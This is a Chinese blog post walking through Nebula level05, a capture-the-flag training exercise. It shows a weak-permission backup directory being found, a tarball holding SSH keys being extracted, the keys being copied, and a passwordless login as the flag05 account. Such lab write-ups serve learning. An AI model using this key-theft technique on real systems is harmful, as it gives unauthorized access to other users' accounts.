

i春秋 - Exploit-Exercises: Nebula - level05

原创

[ichalex](#) 于 2017-02-25 22:35:39 发布 901 收藏

分类专栏: [exploit](#) 文章标签: [exploit](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: https://blog.csdn.net/SCNU_Jiechao/article/details/57134037

版权



[exploit](#) 专栏收录该内容

13 篇文章 0 订阅

订阅专栏

About

Check the flag05 home directory. You are looking for weak directory permissions

[Nebula官网](#)

思路

进去看看

```
cd /home/flag05/  
ll
```

发现一个其他人可执行的.backup目录

```
cd .backup/  
ll
```

看到其他人可读的backup-19072011.tgz

复制到/tmp解压

```
cp backup-19072011.tgz /tmp/  
cd /tmp/  
tar -xvf backup-19072011.tgz
```

看到了备份的公私钥, 所以应该可以凭借这些密钥ssh免密码登录flag05账户

```
cp -r .ssh/ ~/   
ssh flag05@localhost  
yes  
cat flag
```

```
flag05@nebula:~$ cat flag  
flag{DW93WZFBQ}flag05@nebula:~$
```